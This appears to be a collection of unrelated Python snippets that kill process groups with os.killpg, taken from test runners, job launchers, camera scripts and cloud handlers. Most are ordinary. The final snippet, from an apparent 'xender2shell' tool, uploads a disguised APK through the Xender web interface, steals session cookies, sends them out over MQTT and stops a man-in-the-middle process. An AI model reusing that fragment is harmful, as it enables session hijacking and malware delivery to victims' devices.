test_opts.gdb: # Let us accept ^C again signal.signal(signal.SIGINT, previous_sigint_handler) if kill_test or timed_out: # Python does not provide multiplatform support for # killing a process and all its children so we need # to roll our own. if is_windows(): subprocess.call( ['taskkill', '/F', '/T', '/PID', str(p.pid)]) else: try: os.killpg(os.getpgid(p.pid), signal.SIGKILL) except ProcessLookupError: # Sometimes (e.g. with Wine) this happens. # There's nothing we can do (maybe the process # already died) so carry on. pass (stdo, stde) = p.communicate() endtime = time.time() duration = endtime - starttime stdo = decode(stdo) if stde: stde = decode(stde) if timed_out: res = 'TIMEOUT' self.timeout_count += 1 self.fail_count += 1 elif p.returncode == GNU_SKIP_RETURNCODE: res = 'SKIP' self.skip_count += 1 elif test.should_fail == bool(p.returncode): res = 'OK' self.success_count += 1 else: res = 'FAIL' self.fail_count += 1 returncode = p.returncode result = TestRun(res, returncode, test.should_fail, duration, stdo, stde, cmd, test.env) return result
push = 0 level = 0 while True : time.sleep(0.1) #different camera angles if GPIO.input(RearView_Switch)==0 and run == 0: print " Started Full Screen" rpistr = "raspivid -t 0 -vf -h 480 -w 800" p=subprocess.Popen(rpistr,shell=True, preexec_fn=os.setsid) run = 1 while GPIO.input(RearView_Switch)==0: time.sleep(0.1) if GPIO.input(RearView_Switch)==0 and push == 1: os.killpg(p.pid, signal.SIGTERM) print " Started Full Screen Transparent" rpistr = "raspivid -t 0 -vf -op 128 -h 480 -w 800" p=subprocess.Popen(rpistr,shell=True, preexec_fn=os.setsid) run = 2 while GPIO.input(RearView_Switch)==0: time.sleep(0.1) if GPIO.input(RearView_Switch)==0 and push == 2: os.killpg(p.pid, signal.SIGTERM) print " Started PIP Right side" rpistr = "raspivid -t 0 -vf -p 350,1,480,320" p=subprocess.Popen(rpistr,shell=True, preexec_fn=os.setsid) run = push while GPIO.input(RearView_Switch)==0: time.sleep(0.1)
def term(sig, frame): nonlocal terminating terminating = True os.killpg(os.getpgid(sshprocess.pid), signal.SIGTERM)
def stop(self): print 'Thread::[{}] successfully stopped.'.format(self.objectName()) if self.process is not None: killpg(getpgid(self.process.pid), signal.SIGTERM)
path_plan_result = wait_for_socket('pathPlan', timeout=30) else: path_plan_result = True carstate_result = wait_for_socket('carState', timeout=30) print("Check if everything is running") running = manager.get_running() controlsd_running = running['controlsd'].is_alive() radard_running = running['radard'].is_alive() plannerd_running = running['plannerd'].is_alive() manager.kill_managed_process("controlsd") manager.kill_managed_process("radard") manager.kill_managed_process("plannerd") os.killpg(os.getpgid(unlogger.pid), signal.SIGTERM) sockets_ok = all([ controls_state_result, radarstate_result, plan_result, path_plan_result, carstate_result, controlsd_running, radard_running, plannerd_running ]) params_ok = True failures = [] if not controlsd_running: failures.append('controlsd') if not radard_running: failures.append('radard') if not radarstate_result: failures.append('radarState')
def _atexit(self): with contextlib.suppress(ProcessLookupError): os.killpg(self.pgid, signal.SIGTERM)
def kill(self): import signal, subprocess if os.name == "nt": subprocess.Popen("taskkill /F /T /pid %i" % self.pid, shell=True) else: os.killpg(self.pid, signal.SIGKILL)
def panic(msg): logging.error("Panic: %s", msg, exc_info=True) os.killpg(0, 9) sys.exit(-3)
def generic_handler(event, context_dict, custom_handler_env=None): """ event is from the invoker, and contains job information context_dict is generic infromation about the context that we are running in, provided by the scheduler custom_handler_env are environment variables we should set based on the platform we are on. """ pid = os.getpid() response_status = {'exception': None} try: if event['storage_config']['storage_backend'] != 's3': raise NotImplementedError( ("Using {} as storage backend is not supported " + "yet.").format(event['storage_config']['storage_backend'])) s3_client = boto3.client("s3") s3_bucket = event['storage_config']['backend_config']['bucket'] logger.info("invocation started") # download the input status_key = event['status_key'] func_key = event['func_key'] data_key = event['data_key'] data_byte_range = event['data_byte_range'] output_key = event['output_key'] if version.__version__ != event['pywren_version']: raise Exception("WRONGVERSION", "Pywren version mismatch", version.__version__, event['pywren_version']) start_time = time.time() response_status['start_time'] = start_time runtime_s3_bucket = event['runtime']['s3_bucket'] runtime_s3_key = event['runtime']['s3_key'] if event.get('runtime_url'): # NOTE(shivaram): Right now we only support S3 urls. runtime_s3_bucket_used, runtime_s3_key_used = wrenutil.split_s3_url( event['runtime_url']) else: runtime_s3_bucket_used = runtime_s3_bucket runtime_s3_key_used = runtime_s3_key job_max_runtime = event.get("job_max_runtime", 290) # default for lambda response_status['func_key'] = func_key response_status['data_key'] = data_key response_status['output_key'] = output_key response_status['status_key'] = status_key data_key_size = get_key_size(s3_client, s3_bucket, data_key) #logger.info("bucket=", s3_bucket, "key=", data_key, "status: ", data_key_size, "bytes" ) while data_key_size is None: logger.warning("WARNING COULD NOT GET FIRST KEY") data_key_size = get_key_size(s3_client, s3_bucket, data_key) if not event['use_cached_runtime']: subprocess.check_output("rm -Rf {}/*".format(RUNTIME_LOC), shell=True) free_disk_bytes = free_disk_space("/tmp") response_status['free_disk_bytes'] = free_disk_bytes response_status['runtime_s3_key_used'] = runtime_s3_key_used response_status['runtime_s3_bucket_used'] = runtime_s3_bucket_used if (custom_handler_env != None): delete_old_runtimes = custom_handler_env.get( 'delete_old_runtimes', False) else: delete_old_runtimes = False runtime_cached = download_runtime_if_necessary(s3_client, runtime_s3_bucket_used, runtime_s3_key_used, delete_old_runtimes) logger.info("Runtime ready, cached={}".format(runtime_cached)) response_status['runtime_cached'] = runtime_cached cwd = os.getcwd() jobrunner_path = os.path.join(cwd, "jobrunner.py") extra_env = event.get('extra_env', {}) extra_env['PYTHONPATH'] = "{}".format(os.getcwd()) call_id = event['call_id'] callset_id = event['callset_id'] response_status['call_id'] = call_id response_status['callset_id'] = callset_id runtime_meta = s3_client.head_object(Bucket=runtime_s3_bucket_used, Key=runtime_s3_key_used) ETag = str(runtime_meta['ETag'])[1:-1] conda_runtime_dir = CONDA_RUNTIME_DIR.format(ETag) conda_python_path = conda_runtime_dir + "/bin" conda_python_runtime = os.path.join(conda_python_path, "python") # pass a full json blob jobrunner_config_filename = JOBRUNNER_CONFIG_FILENAME.format(pid) jobrunner_stats_filename = JOBRUNNER_STATS_FILENAME.format(pid) python_module_path = PYTHON_MODULE_PATH.format(pid) jobrunner_config = { 'func_bucket': s3_bucket, 'func_key': func_key, 'data_bucket': s3_bucket, 'data_key': data_key, 'data_byte_range': data_byte_range, 'python_module_path': python_module_path, 'output_bucket': s3_bucket, 'output_key': output_key, 'stats_filename': jobrunner_stats_filename } with open(jobrunner_config_filename, 'w') as jobrunner_fid: json.dump(jobrunner_config, jobrunner_fid) if os.path.exists(jobrunner_stats_filename): os.remove(jobrunner_stats_filename) cmdstr = "{} {} {}".format(conda_python_runtime, jobrunner_path, jobrunner_config_filename) setup_time = time.time() response_status['setup_time'] = setup_time - start_time local_env = os.environ.copy() if custom_handler_env is not None: local_env.update(custom_handler_env) local_env.update(extra_env) local_env['PATH'] = "{}:{}".format(conda_python_path, local_env.get("PATH", "")) logger.debug("command str=%s", cmdstr) # This is copied from http://stackoverflow.com/a/17698359/4577954 # reasons for setting process group: http://stackoverflow.com/a/4791612 process = subprocess.Popen(cmdstr, shell=True, env=local_env, bufsize=1, stdout=subprocess.PIPE, preexec_fn=os.setsid) logger.info("launched process") def consume_stdout(stdout, queue): with stdout: for line in iter(stdout.readline, b''): queue.put(line) q = Queue() t = Thread(target=consume_stdout, args=(process.stdout, q)) t.daemon = True t.start() stdout = b"" while t.isAlive(): try: line = q.get_nowait() stdout += line logger.info(line) except Empty: time.sleep(PROCESS_STDOUT_SLEEP_SECS) total_runtime = time.time() - start_time if total_runtime > job_max_runtime: logger.warning( "Process exceeded maximum runtime of {} sec".format( job_max_runtime)) # Send the signal to all the process groups os.killpg(os.getpgid(process.pid), signal.SIGTERM) raise Exception( "OUTATIME", "Process executed for too long and was killed") logger.info("command execution finished") if os.path.exists(JOBRUNNER_STATS_FILENAME): with open(JOBRUNNER_STATS_FILENAME, 'r') as fid: for l in fid.readlines(): key, value = l.strip().split(" ") float_value = float(value) response_status[key] = float_value end_time = time.time() response_status['stdout'] = stdout.decode("ascii") response_status['exec_time'] = time.time() - setup_time response_status['end_time'] = end_time response_status['host_submit_time'] = event['host_submit_time'] response_status['server_info'] = get_server_info() response_status.update(context_dict) except Exception as e: # internal runtime exceptions response_status['exception'] = str(e) response_status['exception_args'] = e.args response_status['exception_traceback'] = traceback.format_exc() finally: # creating new client in case the client has not been created boto3.client("s3").put_object(Bucket=s3_bucket, Key=status_key, Body=json.dumps(response_status))
def excepthook(type, value, traceback): sys.__excepthook__(type, value, traceback) logging.critical('Crash! Killing all miners.') os.killpg(os.getpgid(0), signal.SIGKILL) # (This also kills us.)
def executeCmd(realCmd, timeout=60, shell=True, output=False, tout_kill_tree=True, success_codes=(0, ), varsDict=None): """Executes a command. Parameters ---------- realCmd : str The command to execute. timeout : int The time out in seconds for the command. shell : bool If shell is True (default), the specified command (may be a string) will be executed through the shell. output : bool If output is True, the function returns tuple (success, stdoutdata, stderrdata, returncode). If False, just indication of success is returned varsDict: dict variables supplied to the command (or to the shell script) Returns ------- bool or (bool, str, str, int) True if the command succeeded and with stdout, stderr, returncode if output was set to True Raises ------ OSError If command fails to be executed. RuntimeError If command execution times out. """ stdout = stderr = None retcode = None popen = env = None if varsDict: if shell: # build map as array of vars and command line array: realCmd = Utils.buildShellCmd(realCmd, varsDict) else: # pragma: no cover - currently unused env = _merge_dicts(os.environ, varsDict) realCmdId = id(realCmd) logCmd = lambda level: logSys.log(level, "%x -- exec: %s", realCmdId, realCmd) try: popen = subprocess.Popen( realCmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=shell, env=env, preexec_fn=os. setsid # so that killpg does not kill our process ) # wait with timeout for process has terminated: retcode = popen.poll() if retcode is None: def _popen_wait_end(): retcode = popen.poll() return (True, retcode) if retcode is not None else None # popen.poll is fast operation so we can use the shortest sleep interval: retcode = Utils.wait_for(_popen_wait_end, timeout, Utils.DEFAULT_SHORTEST_INTERVAL) if retcode: retcode = retcode[1] # if timeout: if retcode is None: if logCmd: logCmd(logging.ERROR) logCmd = None logSys.error("%x -- timed out after %s seconds." % (realCmdId, timeout)) pgid = os.getpgid(popen.pid) # if not tree - first try to terminate and then kill, otherwise - kill (-9) only: os.killpg(pgid, signal.SIGTERM) # Terminate the process time.sleep(Utils.DEFAULT_SLEEP_INTERVAL) retcode = popen.poll() #logSys.debug("%s -- terminated %s ", realCmd, retcode) if retcode is None or tout_kill_tree: # Still going... os.killpg(pgid, signal.SIGKILL) # Kill the process time.sleep(Utils.DEFAULT_SLEEP_INTERVAL) if retcode is None: # pragma: no cover - too sporadic retcode = popen.poll() #logSys.debug("%s -- killed %s ", realCmd, retcode) if retcode is None and not Utils.pid_exists( pgid): # pragma: no cover retcode = signal.SIGKILL except OSError as e: if logCmd: logCmd(logging.ERROR) logCmd = None stderr = "%s -- failed with %s" % (realCmd, e) logSys.error(stderr) if not popen: return False if not output else (False, stdout, stderr, retcode) std_level = logging.DEBUG if retcode in success_codes else logging.ERROR if std_level >= logSys.getEffectiveLevel(): if logCmd: logCmd(std_level - 1 if std_level == logging.DEBUG else logging.ERROR) logCmd = None # if we need output (to return or to log it): if output or std_level >= logSys.getEffectiveLevel(): # if was timeouted (killed/terminated) - to prevent waiting, set std handles to non-blocking mode. if popen.stdout: try: if retcode is None or retcode < 0: Utils.setFBlockMode(popen.stdout, False) stdout = popen.stdout.read() except IOError as e: # pragma: no cover logSys.error(" ... -- failed to read stdout %s", e) if stdout is not None and stdout != '' and std_level >= logSys.getEffectiveLevel( ): for l in stdout.splitlines(): logSys.log(std_level, "%x -- stdout: %r", realCmdId, uni_decode(l)) if popen.stderr: try: if retcode is None or retcode < 0: Utils.setFBlockMode(popen.stderr, False) stderr = popen.stderr.read() except IOError as e: # pragma: no cover logSys.error(" ... -- failed to read stderr %s", e) if stderr is not None and stderr != '' and std_level >= logSys.getEffectiveLevel( ): for l in stderr.splitlines(): logSys.log(std_level, "%x -- stderr: %r", realCmdId, uni_decode(l)) if popen.stdout: popen.stdout.close() if popen.stderr: popen.stderr.close() success = False if retcode in success_codes: logSys.debug("%x -- returned successfully %i", realCmdId, retcode) success = True elif retcode is None: logSys.error("%x -- unable to kill PID %i", realCmdId, popen.pid) elif retcode < 0 or retcode > 128: # dash would return negative while bash 128 + n sigcode = -retcode if retcode < 0 else retcode - 128 logSys.error("%x -- killed with %s (return code: %s)", realCmdId, signame.get(sigcode, "signal %i" % sigcode), retcode) else: msg = _RETCODE_HINTS.get(retcode, None) logSys.error("%x -- returned %i", realCmdId, retcode) if msg: logSys.info("HINT on %i: %s", retcode, msg % locals()) if output: return success, stdout, stderr, retcode return success if len(success_codes) == 1 else (success, retcode)
def tearDown(self): os.killpg(self.master.pid, signal.SIGTERM) for worker in self.workers: os.killpg(worker.pid, signal.SIGTERM)
def terminate(): os.killpg(os.getpgid(0), signal.SIGTERM)
def kill_proc(process): if process.poll() is None: print('Killing subprocess.') os.killpg(os.getpgid(process.pid), signal.SIGTERM)
def on_kill(self) -> None: if self.hook is None: self.hook = self._get_hook() self.log.info('Sending SIGTERM signal to bash process group') os.killpg(os.getpgid(self.hook.sub_process.pid), signal.SIGTERM)
def on_kill(self): self.log.info('Sending SIGTERM signal to bash process group') os.killpg(os.getpgid(self.sub_process.pid), signal.SIGTERM)
def __run_command(command, use_test_user, a_input, a_stdout, a_stderr, log_output=True, shell=False, timeout=None, timeout_signal='TERM'): global _last_log_had_output # Preprocess command if shell: if not isinstance(command, str): command = ' '.join(command) elif not isinstance(command, (list, tuple)): try: repr(command) except TypeError: print('Need list or tuple, got %s' % type(command)) if use_test_user: command = [ 'runuser', options.username, '-c', ' '.join(map(shell_quote, command)) ] # Figure out stdin stdin = _devnull if a_input is not None: stdin = subprocess.PIPE # Log if _last_log_had_output: _log.write('\n') _log.write('osgtest: ') _log.write(time.strftime('%Y-%m-%d %H:%M:%S: ')) # HACK: print test name # Get the current test function name, the .py file it's in, and the line number from the call stack if options.printtest: stack = traceback.extract_stack() for stackentry in reversed(stack): filename, lineno, funcname, text = stackentry if re.search(r'(test_\d+|special).+\.py', filename): _log.write("%s:%s:%d: " % (os.path.basename(filename), funcname, lineno)) _log.write(' '.join(__format_command(command))) # Run and return command, with timeout if applicable preexec_fn = None if timeout is not None: preexec_fn = os.setsid # or lambda : os.setpgid(0,0) # allow signal names like 'KILL' instead of numbers if type(timeout_signal) == str: timeout_signal = getattr(signal, 'SIG' + timeout_signal.upper()) p = subprocess.Popen(command, stdin=stdin, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=shell, preexec_fn=preexec_fn) if timeout is not None: watcher_pid = os.fork() if watcher_pid == 0: time.sleep(timeout) os.killpg(p.pid, timeout_signal) os._exit(0) stdout, stderr = p.communicate(to_bytes(a_input)) stdout, stderr = to_str(stdout), to_str(stderr) if timeout is not None: if p.returncode >= 0: # kill watcher if child exited normally before timeout os.kill(watcher_pid, signal.SIGKILL) else: # return -1 for timeout p.returncode = -1 # always reap zombie watcher os.waitpid(watcher_pid, 0) # Log stdout_length = 0 if stdout is not None: stdout_length = len(stdout) stderr_length = 0 if stderr is not None: stderr_length = len(stderr) _log.write(' >>> %d %d %d\n' % (p.returncode, stdout_length, stderr_length)) _last_log_had_output = False if log_output: if (stdout is not None) and (len(stdout.rstrip('\n')) > 0): _log.write('STDOUT:{\n') _log.write(stdout.rstrip('\n') + '\n') _log.write('STDOUT:}\n') _last_log_had_output = True if (stderr is not None) and (len(stderr.rstrip('\n')) > 0): _log.write('STDERR:{\n') _log.write(stderr.rstrip('\n') + '\n') _log.write('STDERR:}\n') _last_log_had_output = True _log.flush() return (p.returncode, stdout, stderr)
def teardown(self): os.killpg(os.getpgid(self.dynaliteprocess.pid), 15)
def reap_process_group(pid, log, sig=signal.SIGTERM, timeout=DEFAULT_TIME_TO_WAIT_AFTER_SIGTERM): """ Tries really hard to terminate all children (including grandchildren). Will send sig (SIGTERM) to the process group of pid. If any process is alive after timeout a SIGKILL will be send. :param log: log handler :param pid: pid to kill :param sig: signal type :param timeout: how much time a process has to terminate """ def on_terminate(p): log.info("Process %s (%s) terminated with exit code %s", p, p.pid, p.returncode) if pid == os.getpid(): raise RuntimeError("I refuse to kill myself") try: parent = psutil.Process(pid) except psutil.NoSuchProcess: # Race condition - the process already exited return children = parent.children(recursive=True) children.append(parent) try: pg = os.getpgid(pid) except OSError as err: # Skip if not such process - we experience a race and it just terminated if err.errno == errno.ESRCH: return raise log.info("Sending %s to GPID %s", sig, pg) try: os.killpg(os.getpgid(pid), sig) except OSError as err: if err.errno == errno.ESRCH: return # If operation not permitted error is thrown due to run_as_user, # use sudo -n(--non-interactive) to kill the process if err.errno == errno.EPERM: subprocess.check_call( ["sudo", "-n", "kill", "-" + str(sig), str(os.getpgid(pid))]) raise gone, alive = psutil.wait_procs(children, timeout=timeout, callback=on_terminate) if alive: for p in alive: log.warning( "process %s (%s) did not respond to SIGTERM. Trying SIGKILL", p, pid) try: os.killpg(os.getpgid(pid), signal.SIGKILL) except OSError as err: if err.errno == errno.ESRCH: return raise gone, alive = psutil.wait_procs(alive, timeout=timeout, callback=on_terminate) if alive: for p in alive: log.error("Process %s (%s) could not be killed. Giving up.", p, p.pid)
def launch_workers(num_workers, burst, run_pre_checks, interval): os.makedirs("logs", exist_ok=True) if run_pre_checks: print("Running pre-checks...") sjs.run_pre_worker_checks(exit_on_fail=True) print("OK!") else: print("Skipping pre-checks!") working_dir = get_sjs_running_file() if not working_dir: raise SystemExit("Currently there is no run started (i.e. there is no %s file). " \ "Are you in the correct directory?" % SJS_RUNNING_FILE) hostname = os.uname()[1] timestamp = datetime.now().strftime("%Y_%m_%d__%H_%M_%S") # compare env_record at start of run with this one env_record_dir = os.path.join(working_dir, 'env_records') env_record_path = os.path.join(env_record_dir, "%s_%s" % (hostname, timestamp)) env = save_env_record(env_record_path) orig_env_record = read_env_record( os.path.join(env_record_dir, 'env_record_start.yaml')) if env != orig_env_record: print("env_record of this machine does not match env record of original machine! " \ "Aborting launch workers! Please see %s to compare manually" % (env_record_path)) raise SystemExit("Env records do not match, aborting launch workers!") print("") print("Running on hostname %s" % hostname) print("Running at timestamp %s" % timestamp) print("Log name template: %s_%s_*.log" % (hostname, timestamp)) print("Env record path: %s" % env_record_path) if burst: print("Running in burst mode. Workers and launch_workers script will exit when all " \ "workers are idle and the queue is empty.") else: print( "Workers and launch_workers script will stay alive until killed.") print("") worker_processes = [] log_files = [] sjs.load() sjs_config = sjs.get_sjs_config() redis_cfg = sjs_config['redis'] redis_url = "redis://%s:%s/%s" % (redis_cfg['host'], redis_cfg['port'], redis_cfg['db']) cmd = ['rq', 'worker', "-u", redis_url, sjs_config['queue']] for i in range(num_workers): logname = 'logs/%s_%s_%s.log' % (hostname, timestamp, i) print("Launching worker #%s with log file %s" % (i, logname)) log = open(logname, 'w') proc = subprocess.Popen(cmd, stdout=log, stderr=log) worker_processes.append(proc) log_files.append(log) print("") print("Worker PIDS: %s" % [w.pid for w in worker_processes]) try: conn = sjs.get_redis_conn() if 'min_seconds_per_job' in sjs_config or burst == False: # more complex case of either handling bursted workers, or handling min_seconds_per_job # timeout. Here we run a loop and check conditions each run through the loop. while True: sleep(interval) if burst: # there is no point killing workers on the node unless all of them are idle and # we can kill all the workers and release the node. So here we poll for the # current worker state and if all the workers are idle AND the queue is empty, # then we shut the node down. workers = [ w for w in Worker.all(connection=conn) if w.name.startswith(hostname) ] idle_workers = [w for w in workers if w.state == 'idle'] if len(idle_workers) == len(workers) and len( sjs.get_job_queue()) == 0: print("All workers idle; queue is empty.") disable_signals() raise SystemExit() if 'min_seconds_per_job' in sjs_config: try: results = subprocess.check_output( "qstat -i $PBS_JOBID", shell=True, universal_newlines=True) hours, minutes, seconds = results.strip().split( "\n")[-1][-8:].split(":") walltime_remaining = int(hours) * 3600 + int( minutes) * 60 + int(seconds) if sjs_config[ 'min_seconds_per_job'] > walltime_remaining: print("walltime remaining is less than the min seconds required per " \ "job. Sending SIGINTs to workers so they exit when the " \ "currently running job is complete") for worker in worker_processes: os.kill(worker.pid, signal.SIGINT) break except Exception as e: print("Failure getting walltime", e) # the simplest case of just running the workers until they exit print("Waiting for workers to exit...") for w in worker_processes: w.wait() except SystemExit: # if this process is forced to exit, we kill the workers, and wait for them to # exit, before finally closing the log files. print("... killing any workers") # rq workers must be signaled twice to actually shutdown. # we sleep in between to avoid a signal getting lost. try: print("sending first SIGINT") os.killpg(os.getpgid(0), signal.SIGINT) sleep(1) print("sending second SIGINT") os.killpg(os.getpgid(0), signal.SIGINT) except ProcessLookupError: print("process already killed") for w in worker_processes: w.wait() finally: for f in log_files: f.close() print("") print("All done!") sys.stdout.flush()
app_bar = driver.find_element_by_class_name("appModule_ic") if app_bar: print "Found application button" print app_bar.click() install_app = driver.find_element_by_class_name("installApp_btn") if install_app: #install_app.click() upload = driver.find_element_by_id("modelUpload") upload.send_keys(r"/root/xender2shell/xen_update.apk") #time.sleep(5) client.publish("xender", "update") #pickle.dump(driver.get_cookies(),open("cookies.pkl","wb")) AWSELB = driver.get_cookie("AWSELB") JS = driver.get_cookie("JSESSIONID") cid = driver.get_cookie("cid") print AWSELB["value"] print JS["value"] print cid["value"] cookie = '{"AWSELB":"' + AWSELB[ "value"] + '","JSESSIONID":"' + JS[ "value"] + '","cid":"' + cid["value"] + '"}' client.publish("xender", cookie) time.sleep(3) mitmf.kill() time.sleep(3) client.publish("xender", "refresh") os.killpg(os.getpgid(mitmf.pid), signal.SIGINT) except Exception as e: print e